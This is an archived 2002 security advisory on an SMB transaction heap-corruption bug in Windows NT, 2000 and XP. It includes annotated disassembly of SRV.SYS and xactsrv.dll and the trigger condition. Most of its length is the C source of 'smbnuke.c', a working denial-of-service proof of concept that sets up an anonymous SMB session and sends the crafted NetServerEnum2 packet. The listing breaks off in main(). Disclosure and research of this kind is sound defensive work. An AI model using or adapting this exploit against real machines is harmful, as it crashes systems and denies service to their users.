23th Aug 2002 [SBWID-5658]
		Windows SMB implementation local and remote overflow
		 Windows NT 4.0 Workstation/Server
		 Windows 2000 Professional/Advanced Server
		 Windows XP Professional
		 With all service packs and security hotfixes applied
		Ivan Arce  [[email protected]]  CTO  of  CORE  SECURITY  TECHNOLOGIES
		[http://www.corest.com] posted the following, credits to Alberto  Solino
		and Hernan Ochoa who researched and discovered the bug :
		SMB stands for "Server Message Block" and is also known as CIFS  (Common
		Internet File System). This protocol is  intended  to  provide  an  open
		cross-platform mechanism for client systems  to  request  file  services
		from server system over a network.  Current  CIFS  implementation  under
		Windows runs over  port  tcp/139  and/or  port  tcp/445  (Direct  Host),
		depending whether NetBIOS over TCP/IP is enabled or not.
		The SMB_COM_TRANSACTION command allows the  client  and  the  server  to
		define functions specific to  a  particular  resource  on  a  particular
		server. The functions supported are not defined by the  protocol  itself
		but by client and server implementations.
		By sending a specially crafted  packet  requesting  the  NetServerEnum2,
		NetServerEnum3 or NetShareEnum transaction,  an  attacker  can  mount  a
		denial ofservice attack on the target machine. It might be  possible  to
		abuse  this  vulnerability  to  execute  arbitrary  code,  although  the
		research  performed  so  far  can  not  confirm  this  possibility  (see
		'Technical Description' below for more precise information).
		In order to exploit this vulnerability a user account is needed for  the
		NetShareEnum transaction and only  anonymous  access  is  necessary  for
		NetServerEnum2 and NetServerEnum3.
		Windows operating system ship with anonymous access enabled  by  default
		and are therefore vulnerable to a denial of service attack.
		The effect of an attack will  trigger  a  operating  system  halt  (Blue
		Screen) as shown below (memory addresses may vary):
		 *** STOP: 0x0000001E (0xC0000005, 0x804B818B, 0x00000001, 0x00760065)
		 *** Address 804B818B base at 80400000, DateStamp 384d9b17 0 ntoskrnl.exe
		The  physical  memory  is  dumped  and  the  system  restarted   (unless
		configured otherwise).
		 *Technical Description - Exploit/Concept Code*
		The following analysis was performed on a Windows 2000  Advanced  Server
		(Service Pack 2).
		The attack consists of sending (after  establishing  a  SMB  session)  a
		specially   crafted   SMB_COM_TRANSACTION    packet    requesting    the
		NetServerEnum2,  NetServerEnum3  or  NetShareEnum   functions   of   the
		Microsoft Windows Lanman Remote API Protocol.
		The format of this packet consist of a SMB Header plus  the  Transaction
		request. The transaction request has the following format:
		 Transaction Request Format
		+0  Word Count  (BYTE)
		+1  Total Parameter Count (WORD)
		+3  Total Data Count (WORD)
		+5  Max Param Count  (WORD)
		+7  Max Data Count  (WORD)
		+9  Max Setup Count  (BYTE)
		+10 (0Ah) Reserved  (BYTE)
		+11 (0Bh) Flags   (WORD)
		+13 (0Dh) Timeout   (DWORD)
		+17 (11h) Reserved  (WORD)
		+19 (13h) Parameter Count  (WORD)
		+21 (15h) Parameter Offset (WORD)
		+23 (17h) Data Count  (WORD)
		+25 (19h) Data Offset  (WORD)
		+27 (1Bh) Setup Count  (BYTE)
		+28 (1Ch) Reserved  (BYTE)
		+29 (1Dh) Byte Count  (WORD)
		+31 (1Fh) Transaction Name 'PIPELANMANx00' (13 BYTES)
		+44 (2Ch) Parameters
		+0  Function Code  (WORD)
		+2  Parameter Descriptor  (6 BYTES)
		+8  Return Descriptor     (7 BYTES)
		+15 (0Fh) Detail Level  (WORD)
		+17 (11h) Receive Buffer Length   (WORD)
		The  'Function  Code'  found  in  'Parameters'  specifies  the  function
		requested.  In  this  case  it  must  be   68h   (NetServerEnum2),   D7h
		(NetServerEnum3) or 00h (NetShareEnum).
		The problem arises when the fields 'Max Param Count'  and/or  'Max  Data
		Count' are set to zero (0).
		Once the request packet  is  received  by  the  Windows  server,  it  is
		handled by the SRV.SYS driver in kernel mode.  At  SRV.SYS+08F4h  it  is
		determined that the packet is a SMB_COM_TRANSACTION and  a  function  we
		arbitrary named 'doSMB_COM_TRANSACTION' (SRV.SYS+D42A) is  called  where
		the Transaction Request portion of the packet is parsed.
		Here the 'Max Data Count' and 'Max Param Count' (and all  other  fields)
		are extracted from the packet received,  some  calculations  and  sanity
		checks are performed to determine the location of  the  'Parameters'  in
		the transaction request packet and the amount of memory needed to  store
		them. A function is then called at SRV.SYS+DAB0 to allocate a  structure
		in the heap (BUFFER1 from now on) that will contain data  obtained  from
		the transaction packet and the 'Parameters':
		0000DADB                 movzx   eax, si
		0000DADE                 mov     [ebp+var_4], eax
		0000DAE1                 add     eax, 3
		0000DAE4                 mov     ecx, eax
		0000DAE6                 mov     [ebp+var], eax
		0000DAE9                 mov     eax, [ebp+argC_MaxDataCountAdded]
		0000DAEC                 and     ecx, 0FFFFFFFCh ; align
		0000DAEF                 cmp     eax, 10400h     ; the max of the data with
		                                                 ; everything added is 66560
		0000DAF4                 lea     edi, [ecx+eax+98h] ; Calculate the space
		                                                    ; needed for the
		                                                    ;  + the 'Parameters'
		0000DAFB                 mov     [ebp+argC_MaxDataCountAdded], edi
		0000DAFE                 ja      short loc_1DB22
		0000DB00                 cmp     [ebp+arg_1C], 0
		0000DB04                 jnz     locAllocateHeap
		0001B806 locAllocateHeap:
		0001B806                 lea     eax, [ebp+1Ch]
		0001B809                 push    eax             ; ptr to buffer that will
		                                                 ; error code
		0001B80A                 push    edi             ; Bytes to allocate
		                                                 ; above at SRV.SYS+DAF4)
		0001B80B                 call    myAllocateHeap
		0001B810                 jmp     loc_1DB20
		Later in the  processing  of  the  request,  at  SRV.SYS+33209h  another
		buffer will be allocated in the heap.  This  buffer  (BUFFER2)  will  be
		next to the one allocated at SRV.SYS+1B806h (BUFFER1).
		The  problem  is  that  due  to  the   lack   of   proper   checks   and
		miscalculation, when the 'Max Data Count' and/or 'Max Param  Count'  are
		zero, the length of the first buffer allocated  on  the  heap  (BUFFER1)
		will be insufficient and the first 8 bytes of  the  next  chunk  on  the
		heap  (used   by   the   ntoskrnl!RtlFreeHeap()   algorithm)   will   be
		When   the   first   buffer    allocated    is    freed    by    calling
		ntoskrnl!RtlFreeHeap() the heap will be in an  inconsistent  state  (due
		to  the  corruption  of  the  chunk's  'control'  data,  used   by   the
		ntoskrnl!RtlFreeHeap() algorithm) and RtlFreeHeap() will try  to  access
		an invalid memory address resulting in the system crash (Blue Screen).
		The actual corruption of the heap occurs as  result  of  a  LPC  message
		sent  by  SRV.SYS  to  the  Lanman  Server   Service   (implemented   in
		srvsvc.dll, running in user mode).
		At SRV.SYS+33358, an LPC message to the Port  'XactSrvLpcPort'  is  sent
		(This port is created by srvsvc.dll):
		00033336                 push    [ebp+arg_0]
		00033339                 call    myImpersonateSecurityContext
		0003333E                 xor     esi, esi
		00033340                 mov     [ebp+errorCode], eax
		00033343                 cmp     eax, esi
		00033345                 jl      short loc_43366
		00033347                 lea     eax, [ebp+varReplyMessage]
		0003334D                 push    eax             ; OUT PPORT_MESSAGE
		0003334E                 lea     eax, [ebp+varRequestMessage]
		00033351                 push    eax             ; IN PPORT_MESSAGE
		00033352                 push    myPortHandle    ; IN HANDLE PortHandle
		00033358                 call    ds:NtRequestWaitReplyPort
		0003335E                 mov     [ebp+errorCode], eax
		This message is handled by srvsvc.dll where function  to  be  called  is
		obtained from a message table, described below as 'PortFuncMsgTable':
		767E88A3                 mov     [ebp+var_CC], 10h
		767E88AC                 mov     [ebp+var_CA], 28h
		767E88B5                 mov     [ebp+var_C8], esi
		767E88BB                 mov     eax, [ebp+var_88]
		767E88C1                 mov     [ebp+var_C4], eax
		767E88C7                 mov     eax, [ebp+var_84]
		767E88CD                 mov     [ebp+var_C0], eax
		767E88D3                 mov     eax, [ebp+var_80]
		767E88D6                 mov     [ebp+var_BC], eax
		767E88DC                 mov     eax, [ebp+var_78]
		767E88DF                 cmp     eax, 0Ah
		767E88E2                 ja      Func3
		767E88E8                 jmp     ds:PortFuncMsgTable[eax*4]
		This ends up calling the function at SRVSVC.DLL:767EE136, that  receives
		the buffer allocated (BUFFER1) in kernel mode by the SRV.SYS driver.
		The function  then  checks  again  the  Parameters  of  the  transaction
		request, by calling different functions in xactsrv.dll:
		767EE1B1                 push    eax
		767EE1B2                 push    ebx
		767EE1B3                 call    pfXsCheckSmbDescriptor ;
		XsCheckSMBDescriptor is located in
		       ; xactsrv.dll (7568d46f)
		767EE1B9                 test    eax, eax
		767EE1BB                 jnz     loc_767EE2A1
		XsCheckSMBDescriptor  performs  some  checks  and  processing   of   the
		Parameters and Return Descriptor of the SMB  Transaction  request.  Then
		the  function  'XsCaptureParemters'  is  called   to   perform   further
		767EE2A1                 lea     eax, [ebp-0D0h]
		767EE2A7                 push    eax
		767EE2A8                 push    dword ptr [ebp-20h] ; ptr to 'BUFFER1'
		767EE2AB                 call    pfXsCaptureParameters
		767EE2B1                 mov     [ebp-1Ch], eax
		At  xactsrv!7568D2D5  the  5th  byte  after  the  end  of   BUFFER1   is
		overwritten with a 0:
		7568D2D5                 movzx   ecx, ax
		7568D2D8                 mov     [esi], ax
		7568D2DB                 mov     edi, [edx+48h]
		7568D2DE                 mov     edx, ecx
		7568D2E0                 xor     eax, eax
		7568D2E2                 shr     ecx, 2
		7568D2E5                 repe stosd
		7568D2E7                 mov     ecx, edx
		7568D2E9                 and     ecx, 3
		7568D2EC                 repe stosb   ; here the 5th byte is overwritten
		7568D2EE                 jmp     short loc_7568D33D
		After returning from this call,  based  on  the  Function  Code  of  the
		transaction,  the  requested   function   is   called   in   xactsrv.dll
		(XsNetServerEnum2, XsNetServerEnum3, or XsNetShareEnum in this case)
		767EE22F                 mov     dword ptr [ebp-4], 2
		767EE236                 push    dword ptr [ebp-0D0h]
		767EE23C                 push    dword ptr [ebp-0DCh]
		767EE242                 push    ebx
		767EE243                 push    dword ptr [ebp-1Ch]
		767EE246                 call    dword ptr table_767F2E38[edi] ; 'function'
		Inside  the  called  function  (XsNetServerEnum2  or   XsNetServerEnum3)
		another  function,  browser.dll!I_BrowserServerEnumForXactSrv,  will  be
		called. The value returned from this function  will  later  be  used  to
		overwrite the  heap.  The  observed  return  values  that  are  used  to
		overwrite the heap were 17E6h and 7Ch.  It  is  not  evident  that  this
		values can be controlled by the attacker in a reliable way.
		75688823                 add     eax, 64h
		75688826                 push    eax
		75688827                 push    [ebp+var_38]
		7568882A                 push    ebx
		7568882B                 call    I_BrowserServerEnumForXactsrv
		75688830                 mov     [edi], ax   ; ax contains returned value
		        ; this value will be the one
		        ; used to overwrite the heap
		75688833                 test    ax, ax
		75688836                 jz      short loc_75688844
		Finally  after  some  more  processing  the  function  will  return   to
		srvsvc.dll!767ee24c   after    executing    the    function    requested
		(XsNetServerEnum2, XsNetServerEnum3 or XsNetShareEnum)
		Some other processing with the returned number  will  be  done  and  the
		XsSetParameter function will  be  called.  This  call  will  effectively
		overwrite the first two bytes  after  the  BUFFER1  structure  with  the
		value         returned         from         the         call          to
		browser.dll!I_BrowserServerEnumForXactSrv, and  then  the  3rd  and  4th
		byte will be overwritten with 0.
		767EE28C                 push    dword ptr [ebp-0A0h]
		767EE292                 push    edi
		767EE293                 push    dword ptr [ebp-20h]
		767EE296                 call    pfXsSetParameters  ; Call to
		7568DB0D                 push    ebp
		7568DB0E                 mov     ebp, esp
		7568DB10                 push    ecx
		7568DB11                 mov     ecx, [ebp+0Ch]
		7568DB14                 mov     eax, [ebp+10h]
		7568DB17                 push    ebx
		7568DB18                 push    esi
		7568DB19                 mov     esi, [ebp+08h]
		7568DB1C                 mov     dx, [ecx]
		7568DB1F                 push    edi
		7568DB20                 push    2
		7568DB22                 mov     ebx, [esi+40h]   ; ptr to past the end of
		7568DB25                 mov     [ebp+10h], eax
		7568DB28                 mov     eax, [esi+3Ch]
		7568DB2B                 pop     edi
		7568DB2C                 mov     [ebx], dx ; overwrite the first two bytes
		7568DB2F                 mov     dx, [ecx+2]
		7568DB33                 add     ebx, edi
		7568DB35                 add     eax, edi
		7568DB37                 mov     [ebx], dx ; overwrite the 3th and 4th byte
		Exploitation of this vulnerability in order to  run  arbitrary  code  on
		the vulnerable system is not straight forward and our  research  so  far
		could not identify a reliable attack scenario other than  to  perform  a
		denial of service.
		The complexity of exploiting this  vulnerability  to  gain  unauthorized
		access to a system or plainly run arbitrary code on it  resides  on  the
		fact that the attacker can not  completly  control  the  bytes  used  to
		overwrite the chunk's 'control' data nor the bytes contained in  BUFFER2
		(of  which the 'control' data is overwritten).
		We do not discard that further research will demonstrate that  arbitrary
		code execution is possible.
		When the attack  is  performed  using  the  NetShareEnum  function,  the
		corruption of the heap also occurs in the call to  XsSetParameters,  but
		I_I_BrowserServerEnumForXactsrv is not called, and  possible  values  to
		overwrite the chunk 'control'  data  are  more  promising  in  terms  of
		exploiting the problem, but the lack of complete control of the data  of
		BUFFER2 again makes it difficult.
		 Update (29 August 2002)
		huagang says :
		Here is a patch to samba-2.2.5, after patch and  compile,  you  can  use
		smbclient to test the windows machine.
			$ smbclient -L IP_ADDR
		Content-Type: TEXT/PLAIN; charset=US-ASCII; name="smb.dos.diff"
		Content-Transfer-Encoding: BASE64
	* smbnuke.c -- Windows SMB Nuker (DoS) - Proof of concept
	* Copyright (C) 2002 Frederic Deletang ([email protected])
	* This program is free software; you can redistribute it and/or
	* modify it under the terms of the GNU General Public License
	* as published by the Free Software Foundation; either version 2 of
	* the License or (at your option) any later version.
	* This program is distributed in the hope that it will be
	* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
	* GNU General Public License for more details.
	* You should have received a copy of the GNU General Public License
	* along with this program; if not, write to the Free Software
	* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
	* USA
	/* NOTE:
	* Compile this program using only GCC and no other compilers
	* (except if you think this one supports the __attribute__ (( packed ))
	* This program might not work on big-endian systems.
	* It has been successfully tested from the following plateforms:
	* - Linux 2.4.18 / i686
	* - FreeBSD 4.6.1-RELEASE-p10 / i386
	* Don't bother me if you can't get it to compile or work on Solaris using
	the SunWS compiler.
	* Another thing: The word counts are hardcoded, careful if you hack the
	/* Copyright notice:
	* some parts of this source (only two functions, name_len and name_mangle)
	* has been taken from libsmb. The rest, especially the structures has
	* been written by me.
	#include <stdio.h>
	#include <unistd.h>
	#include <sys/types.h>
	#include <sys/socket.h>
	#include <netdb.h>
	#include <fcntl.h>
	#include <stdlib.h>
	#include <ctype.h>
	#include <assert.h>
	#include <string.h>
	#include <errno.h>
	#include <time.h>
	#include <netinet/in.h>
	#include <arpa/inet.h>
	#include <string.h>
	#include <sys/time.h>
	#define SESSION_REQUEST 0x81
	#define SESSION_MESSAGE 0x00
	#define bswap16(x) \
	((((x) >> 8) & 0xff) | (((x) & 0xff) << 8))
	typedef struct
	  unsigned char server_component[4];
	  unsigned char command;
	  unsigned char error_class;
	  unsigned char reserved1;
	  uint16_t error_code;
	  uint8_t flags;
	  uint16_t flags2;
	  unsigned char reserved2[12];
	  uint16_t tree_id;
	  uint16_t proc_id;
	  uint16_t user_id;
	  uint16_t mpex_id;
	__attribute__ ((packed)) smb_header;
	typedef struct
	  unsigned char type;
	  unsigned char flags;
	  unsigned short length;
	  unsigned char called[34];
	  unsigned char calling[34];
	__attribute__ ((packed)) nbt_packet;
	typedef struct
	  /* wct: word count */
	  uint8_t wct;
	  unsigned char andx_command;
	  unsigned char reserved1;
	  uint16_t andx_offset;
	  uint16_t max_buffer;
	  uint16_t max_mpx_count;
	  uint16_t vc_number;
	  uint32_t session_key;
	  uint16_t ANSI_pwlen;
	  uint16_t UNI_pwlen;
	  unsigned char reserved2[4];
	  uint32_t capabilities;
	  /* bcc: byte count */
	  uint16_t bcc;
	__attribute__ ((packed)) session_setup_andx_request;
	typedef struct
	  /* wct: word count */
	  uint8_t wct;
	  unsigned char andx_command;
	  unsigned char reserved1;
	  uint16_t andx_offset;
	  uint16_t flags;
	  uint16_t pwlen;
	  uint16_t bcc;
	__attribute__ ((packed)) tree_connect_andx_request;
	typedef struct
	  /* wct: word count */
	  uint8_t wct;
	  uint16_t total_param_cnt;
	  uint16_t total_data_cnt;
	  uint16_t max_param_cnt;
	  uint16_t max_data_cnt;
	  uint8_t max_setup_cnt;
	  unsigned char reserved1;
	  uint16_t flags;
	  uint32_t timeout;
	  uint16_t reserved2;
	  uint16_t param_cnt;
	  uint16_t param_offset;
	  uint16_t data_cnt;
	  uint16_t data_offset;
	  uint8_t setup_count;
	  uint8_t reserved3;
	  /* bcc: byte count */
	  uint16_t bcc;
	__attribute__ ((packed)) transaction_request;
	typedef struct
	  uint16_t function_code;
	  unsigned char param_descriptor[6];
	  unsigned char return_descriptor[7];
	  uint16_t detail_level;
	  uint16_t recv_buffer_len;
	__attribute__ ((packed)) parameters;
	typedef struct
	  uint8_t format;
	  unsigned char *name;
	t_dialects dialects[] = {
	  {2, "PC NETWORK PROGRAM 1.0"},
	  {2, "MICROSOFT NETWORKS 1.03"},
	  {2, "LANMAN1.0"},
	  {2, "LM1.2X002"},
	  {2, "Samba"},
	  {2, "NT LM 0.12"},
	  {2, "NT LANMAN 1.0"},
	  {0, NULL}
	const unsigned char *global_scope = NULL;
	* return the total storage length of a mangled name - from smbclient
	name_len (char *s1)
	  /* NOTE: this argument _must_ be unsigned */
	  unsigned char *s = (unsigned char *) s1;
	  int len;
	  /* If the two high bits of the byte are set, return 2. */
	  if (0xC0 == (*s & 0xC0))
	    return (2);
	  /* Add up the length bytes. */
	  for (len = 1; (*s); s += (*s) + 1)
	    len += *s + 1;
	    assert (len < 80);
	  return (len);
	} /* name_len */
	                                * mangle a name into netbios format - from
	                                * Note: <Out> must be (33 + strlen(scope)
	+ 2) bytes long, at minimum.
	name_mangle (char *In, char *Out, char name_type)
	  int i;
	  int c;
	  int len;
	  char buf[20];
	  char *p = Out;
	  /* Safely copy the input string, In, into buf[]. */
	  (void) memset (buf, 0, 20);
	  if (strcmp (In, "*") == 0)
	    buf[0] = '*';
	    (void) snprintf (buf, sizeof (buf) - 1, "%-15.15s%c", In, name_type);
	  /* Place the length of the first field into the output buffer. */
	  p[0] = 32;
	  /* Now convert the name to the rfc1001/1002 format. */
	  for (i = 0; i < 16; i++)
	    c = toupper (buf[i]);
	    p[i * 2] = ((c >> 4) & 0x000F) + 'A';
	    p[(i * 2) + 1] = (c & 0x000F) + 'A';
	  p += 32;
	  p[0] = '\0';
	  /* Add the scope string. */
	  for (i = 0, len = 0; NULL != global_scope; i++, len++)
	    switch (global_scope[i])
	    case '\0':
	      p[0] = len;
	      if (len > 0)
	        p[len + 1] = 0;
	      return (name_len (Out));
	    case '.':
	      p[0] = len;
	      p += (len + 1);
	      len = -1;
	      p[len + 1] = global_scope[i];
	  return (name_len (Out));
	tcp_connect (const char *rhost, unsigned short port)
	  struct sockaddr_in dest;
	  struct hostent *host;
	  int fd;
	  host = gethostbyname (rhost);
	  if (host == NULL)
	    fprintf (stderr, "Could not resolve host: %s\n", rhost);
	    return -1;
	  dest.sin_family = AF_INET;
	  dest.sin_addr.s_addr = *(long *) (host->h_addr);
	  dest.sin_port = htons (port);
	  fd = socket (AF_INET, SOCK_STREAM, 0);
	  if (connect (fd, (struct sockaddr *) &dest, sizeof (dest)) < 0)
	    fprintf (stderr, "Could not connect to %s:%d - %s\n", rhost, port,
	      strerror (errno));
	    return -1;
	  return fd;
	build_smb_header (smb_header * hdr, uint8_t command, uint8_t flags,
	                  uint16_t flags2, uint16_t tree_id, uint16_t proc_id,
	                  uint16_t user_id, uint16_t mpex_id)
	  memset (hdr, 0, sizeof (smb_header));
	  /* SMB Header MAGIC. */
	  hdr->server_component[0] = 0xff;
	  hdr->server_component[1] = 'S';
	  hdr->server_component[2] = 'M';
	  hdr->server_component[3] = 'B';
	  hdr->command = command;
	  hdr->flags = flags;
	  hdr->flags2 = flags2;
	  hdr->tree_id = tree_id;
	  hdr->proc_id = proc_id;
	  hdr->user_id = user_id;
	  hdr->mpex_id = mpex_id;
	unsigned char *
	push_string (unsigned char *stack, unsigned char *string)
	  strcpy (stack, string);
	  return stack + strlen (stack) + 1;
	request_session_setup (int fd, char *netbios_name)
	  nbt_packet pkt;
	  pkt.type = SESSION_REQUEST;
	  pkt.flags = 0x00;
	  pkt.length = bswap16 (sizeof (nbt_packet));
	  name_mangle (netbios_name, pkt.called, 0x20);
	  name_mangle ("", pkt.calling, 0x00);
	  write (fd, &pkt, sizeof (nbt_packet));
	negotiate_protocol (unsigned char *buffer, int fd)
	  smb_header hdr;
	  unsigned char *p;
	  uint16_t proc_id, mpex_id;
	  int i;
	  proc_id = (uint16_t) rand ();
	  mpex_id = (uint16_t) rand ();
	  buffer[0] = SESSION_MESSAGE;
	  buffer[1] = 0x0;
	  build_smb_header (&hdr, SMB_NEGOTIATE_PROTOCOL, 0, 0, 0, proc_id, 0,
	  memcpy (buffer + 4, &hdr, sizeof (smb_header));
	  p = buffer + 4 + sizeof (smb_header) + 3;
	  for (i = 0; dialects[i].name != NULL; i++)
	    *p = dialects[i].format;
	    strcpy (p + 1, dialects[i].name);
	    p += strlen (dialects[i].name) + 2;
	  /* Set the word count */
	  *(uint8_t *) (buffer + 4 + sizeof (smb_header)) = 0;
	  /* Set the byte count */
	  *(uint16_t *) (buffer + 4 + sizeof (smb_header) + 1) =
	    (uint16_t) (p - buffer - 4 - sizeof (smb_header) - 3);
	  *(uint16_t *) (buffer + 2) = bswap16 ((uint16_t) (p - buffer - 4));
	  write (fd, buffer, p - buffer);
	request_session_setup_andx (unsigned char *buffer, int fd)
	  smb_header hdr;
	  session_setup_andx_request ssar;
	  uint16_t proc_id, mpex_id;
	  unsigned char *p;
	  proc_id = (uint16_t) rand ();
	  mpex_id = (uint16_t) rand ();
	  build_smb_header (&hdr, SMB_SESSION_SETUP_ANDX, 0x08, 0x0001, 0,
	proc_id, 0,
	  buffer[0] = SESSION_MESSAGE;
	  buffer[1] = 0x0;
	  memcpy (buffer + 4, &hdr, sizeof (smb_header));
	  p = buffer + 4 + sizeof (smb_header);
	  memset (&ssar, 0, sizeof (session_setup_andx_request));
	  ssar.wct = 13;
	  ssar.andx_command = 0xff; /* No further commands */
	  ssar.max_buffer = 65535;
	  ssar.max_mpx_count = 2;
	  ssar.vc_number = 1025;
	  ssar.ANSI_pwlen = 1;
	  p = buffer + 4 + sizeof (smb_header) + sizeof
	  /* Ansi password */
	  p = push_string (p, "");
	  /* Account */
	  p = push_string (p, "");
	  /* Primary domain */
	  p = push_string (p, "WORKGROUP");
	  /* Native OS */
	  p = push_string (p, "Unix");
	  /* Native Lan Manager */
	  p = push_string (p, "Samba");
	  ssar.bcc =
	    p - buffer - 4 - sizeof (smb_header) -
	    sizeof (session_setup_andx_request);
	  memcpy (buffer + 4 + sizeof (smb_header), &ssar,
	    sizeof (session_setup_andx_request));
	  /* Another byte count */
	  *(uint16_t *) (buffer + 2) =
	    bswap16 ((uint16_t)
	    (sizeof (session_setup_andx_request) + sizeof (smb_header) +
	  write (fd, buffer,
	    sizeof (session_setup_andx_request) + sizeof (smb_header) + 4 +
	request_tree_connect_andx (unsigned char *buffer, int fd,
	                           const char *netbios_name)
	  smb_header hdr;
	  tree_connect_andx_request tcar;
	  uint16_t proc_id, user_id;
	  unsigned char *p, *q;
	  proc_id = (uint16_t) rand ();
	  user_id = ((smb_header *) (buffer + 4))->user_id;
	  build_smb_header (&hdr, SMB_TREE_CONNECT_ANDX, 0x18, 0x2001, 0, proc_id,
	    user_id, 0);
	  buffer[0] = SESSION_MESSAGE;
	  buffer[1] = 0x0;
	  memcpy (buffer + 4, &hdr, sizeof (smb_header));
	  memset (&tcar, 0, sizeof (tree_connect_andx_request));
	  tcar.wct = 4;
	  tcar.andx_command = 0xff; /* No further commands */
	  tcar.pwlen = 1;
	  p = buffer + 4 + sizeof (smb_header) + sizeof
	  /* Password */
	  p = push_string (p, "");
	  /* Path */
	  q = malloc (8 + strlen (netbios_name));
	  sprintf (q, "\\\\%s\\IPC$", netbios_name);
	  p = push_string (p, q);
	  free (q);
	  /* Service */
	  p = push_string (p, "IPC");
	  tcar.bcc =
	    p - buffer - 4 - sizeof (smb_header) - sizeof
	  memcpy (buffer + 4 + sizeof (smb_header), &tcar,
	    sizeof (tree_connect_andx_request));
	  /* Another byte count */
	  *(uint16_t *) (buffer + 2) =
	    bswap16 ((uint16_t)
	    (sizeof (tree_connect_andx_request) + sizeof (smb_header) +
	  write (fd, buffer,
	    sizeof (tree_connect_andx_request) + sizeof (smb_header) + 4 +
	request_transaction (unsigned char *buffer, int fd)
	  smb_header hdr;
	  transaction_request transaction;
	  parameters params;
	  uint16_t proc_id, tree_id, user_id;
	  unsigned char *p;
	  proc_id = (uint16_t) rand ();
	  tree_id = ((smb_header *) (buffer + 4))->tree_id;
	  user_id = ((smb_header *) (buffer + 4))->user_id;
	  build_smb_header (&hdr, SMB_COM_TRANSACTION, 0, 0, tree_id, proc_id,
	    user_id, 0);
	  buffer[0] = SESSION_MESSAGE;
	  buffer[1] = 0x0;
	  memcpy (buffer + 4, &hdr, sizeof (smb_header));
	  memset (&transaction, 0, sizeof (transaction_request));
	  transaction.wct = 14;
	  transaction.total_param_cnt = 19; /* Total lenght of parameters */
	  transaction.param_cnt = 19; /* Lenght of parameter */
	  p = buffer + 4 + sizeof (smb_header) + sizeof (transaction_request);
	  /* Transaction name */
	  p = push_string (p, "\\PIPE\\LANMAN");
	  transaction.param_offset = p - buffer - 4;
	  params.function_code = (uint16_t) 0x68; /* NetServerEnum2 */
	  strcpy (params.param_descriptor, "WrLeh"); /* RAP_NetGroupEnum_REQ */
	  strcpy (params.return_descriptor, "B13BWz"); /* RAP_SHARE_INFO_L1 */
	  params.detail_level = 1;
	  params.recv_buffer_len = 50000;
	  memcpy (p, ¶ms, sizeof (parameters));
	  p += transaction.param_cnt;
	  transaction.data_offset = p - buffer - 4;
	  transaction.bcc =
	    p - buffer - 4 - sizeof (smb_header) - sizeof (transaction_request);
	  memcpy (buffer + 4 + sizeof (smb_header), &transaction,
	    sizeof (transaction_request));
	  /* Another byte count */
	  *(uint16_t *) (buffer + 2) =
	    bswap16 ((uint16_t)
	    (sizeof (transaction_request) + sizeof (smb_header) +
	  write (fd, buffer,
	    sizeof (transaction_request) + sizeof (smb_header) + 4 +
	typedef struct
	  uint16_t transaction_id;
	  uint16_t flags;
	  uint16_t questions;
	  uint16_t answerRRs;
	  uint16_t authorityRRs;
	  uint16_t additionalRRs;
	  unsigned char query[32];
	  uint16_t name;
	  uint16_t type;
	  uint16_t class;
	__attribute__ ((packed)) nbt_name_query;
	typedef struct
	  nbt_name_query answer;
	  uint32_t ttl;
	  uint16_t datalen;
	  uint8_t names;
	__attribute__ ((packed)) nbt_name_query_answer;
	char *
	list_netbios_names (unsigned char *buffer, size_t size, const char *rhost,
	                    unsigned short port, unsigned int timeout)
	  nbt_name_query query;
	  struct sockaddr_in dest;
	  struct hostent *host;
	  int fd, i;
	  fd_set rfds;
	  struct timeval tv;
	  printf ("Trying to list netbios names on %s\n", rhost);
	  host = gethostbyname (rhost);
	  if (host == NULL)
	    fprintf (stderr, "Could not resolve host: %s\n", rhost);
	    return NULL;
	  memset (&dest, 0, sizeof (struct sockaddr_in));
	  dest.sin_family = AF_INET;
	  dest.sin_addr.s_addr = *(long *) (host->h_addr);
	  dest.sin_port = htons (port);
	  if ((fd = socket (AF_INET, SOCK_DGRAM, 0)) < 0)
	    fprintf (stderr, "Could not setup the UDP socket: %s\n",
	      strerror (errno));
	    return NULL;
	  memset (&query, 0, sizeof (nbt_name_query));
	  query.transaction_id = (uint16_t) bswap16 (0x1e); //rand();
	  query.flags = bswap16 (0x0010);
	  query.questions = bswap16 (1);
	  name_mangle ("*", query.query, 0);
	  query.type = bswap16 (0x21);
	  query.class = bswap16 (0x01);
	  if (sendto
	    (fd, &query, sizeof (nbt_name_query), 0, (struct sockaddr *) &dest,
	    sizeof (struct sockaddr_in)) != sizeof (nbt_name_query))
	    fprintf (stderr, "Could not send UDP packet: %s\n", strerror (errno));
	    return NULL;
	  /* Now, wait for an answer -- add a timeout to 10 seconds */
	  FD_ZERO (&rfds);
	  FD_SET (fd, &rfds);
	  tv.tv_sec = timeout;
	  tv.tv_usec = 0;
	  if (!select (fd + 1, &rfds, NULL, NULL, &tv))
	    fprintf (stderr,
	      "The udp read has reached the timeout - try setting the netbios name
	manually - exiting...\n");
	    return NULL;
	  recvfrom (fd, buffer, size, 0, NULL, NULL);
	  for (i = 0; i < ((nbt_name_query_answer *) buffer)->names; i++)
	    if ((uint8_t) * (buffer + sizeof (nbt_name_query_answer) + 18 * i +
	15) ==
	      return buffer + sizeof (nbt_name_query_answer) + 18 * i;
	    printf ("No netbios name available for use - you probably won't be
	able to crash this host\n");
	    printf ("However, you can try setting one manually\n");
	    return NULL;
	char *
	extract_name (const char *name)
	  int i;
	  char *p = malloc(14);
	  for (i = 0; i < 14; i++)
	    if (name[i] == ' ')
	      p[i] = name[i];
	    p[i] = '\0';
	    return p;
	print_banner (void)
	  printf ("Windows SMB Nuker (DoS) - Proof of concept - CVE
	  printf ("Copyright 2002 - Frederic Deletang ([email protected]) -
	is_smb_header (const unsigned char *buffer, int len)
	  if (len < sizeof (smb_header))
	    return 0;
	  if (buffer[0] == 0xff && buffer[1] == 'S' && buffer[2] == 'M'
	    && buffer[3] == 'B')
	    return 1;
	    return 0;
	main (int argc, char **argv)
	  int fd, r, i, c;
	  unsigned char buffer[1024 * 4]; /* Enough. */
	  char *hostname = NULL, *name = NULL;
	  unsigned int showhelp = 0;
	  unsigned int packets = 10;
	  unsigned int state;
	  unsigned int udp_timeout = 10;
	  unsigned int tcp_timeout = 10;
	  unsigned short netbios_ssn_port = 139;
	  unsigned short netbios_ns_port = 137;
	  fd_set rfds;
	  struct timeval tv;
	  srand (time (NULL));
	  print_banner ();
	  while ((c = getopt (argc, argv, "N:n:p:P:t:T:h")) != -1)
	    switch (c)
	    case 'N':
	      name = optarg;
	    case 'n':
	      packets = atoi (optarg);
	    case 'p':
	      netbios_ns_port = atoi (optarg);
	    case 'P':
